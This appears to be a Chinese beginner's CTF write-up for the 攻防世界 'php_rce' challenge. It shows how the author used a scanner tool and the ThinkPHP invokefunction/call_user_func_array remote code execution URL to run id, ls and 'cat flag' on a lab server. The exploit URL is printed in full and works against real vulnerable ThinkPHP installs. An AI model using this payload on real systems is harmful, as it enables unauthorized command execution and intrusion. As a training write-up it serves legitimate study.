ctf攻防世界 WEB题:php_rce

php_rce

入门ctf做的第一道关于thinkphp的web题,记录一下加深印象

在这里插入图片描述
这里是关于ThinkPHP框架的详细介绍。

ThinkPHP是一个基于PHP语言的开源Web应用框架,它提供了一系列的工具和组件,可以帮助开发人员更快速、更高效地构建Web应用程序。ThinkPHP框架具有简单易用、高效稳定、安全可靠等特点,被广泛应用于各种Web应用程序的开发中。

ThinkPHP框架的主要特点包括:

  • MVC架构:采用经典的MVC(Model-View-Controller)架构,将应用程序的业务逻辑、数据模型和用户界面分离,使得应用程序更易于维护和扩展。
  • ORM支持:提供了强大的ORM(Object-Relational Mapping)支持,可以将数据库表映射为对象,使得开发人员可以更方便地操作数据库。
  • 缓存支持:提供了多种缓存支持,包括文件缓存、Memcached缓存、Redis缓存等,可以提高应用程序的性能和响应速度。
  • 安全性:提供了多种安全机制,包括输入验证、输出过滤、SQL注入防护、XSS防护等,可以保障应用程序的安全性。
  • 扩展性:提供了丰富的扩展机制,包括插件机制、行为机制、模板引擎扩展等,可以方便地扩展和定制应用程序。

对于thinkphp框架Github上有一个专用的漏洞验证工具:https://github.com/zangcc/Aazhen-v3.1

下面开始解题:
进入靶场后会看到以下内容,非常直观的说明了自己是thinkphp框架在这里插入图片描述
在Aazhen_RexHa文件根目录下运行命令打开该工具

java -javaagent:rexha.jar -jar rexha.jar

在这里插入图片描述
打开工具后将靶场地址粘进去
全扫一遍后发现有两个漏洞
一个是远程代码执行
还有一个数据库信息泄露
在这里插入图片描述
远程代码任意执行一般能拿到不少东西,先使用这个
此工具已经给一个可用的url案例,我们只需要更改就可以了

http://61.147.171.105:49836/index.php?s=%2FIndex%2F%5Cthink%5Capp%2Finvokefunction&function=call_user_func_array&vars%5B0%5D=system&vars%5B1%5D%5B%5D=id 
//这个url已经过urlencode,为了方便理解,下面一行使用urldecode结果展示
http://61.147.171.105:49836/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id 

参数解析

这个URL参数是对目标web服务器进行的远程代码执行

  • ThinkPHP的请求处理器(think)
  • 应用程序控制器(app)
  • 函数调用器(invokefunction)
  • 通过invokefunction指定了要调用的函数名为"calluserfuncarray"。该函数的作用是调用一个用户自定义的函数,并将一个数组作为参数传递给该函数。
  • 在这个URL请求中,该函数的第一个参数是"system",表示要执行的系统命令,
  • 第二个参数是一个数组,其中包含要传递给该命令的参数。在这个例子中,该数组只包含一个参数"id"

下面我们把的第二个数组元素内容作为要执行的命令修改以下就ok了

http://61.147.171.105:49836/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls

在这里插入图片描述
查询上一级目录ls /
发现flag,获取它

在这里插入图片描述

cat flag
在这里插入图片描述

  • 0
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值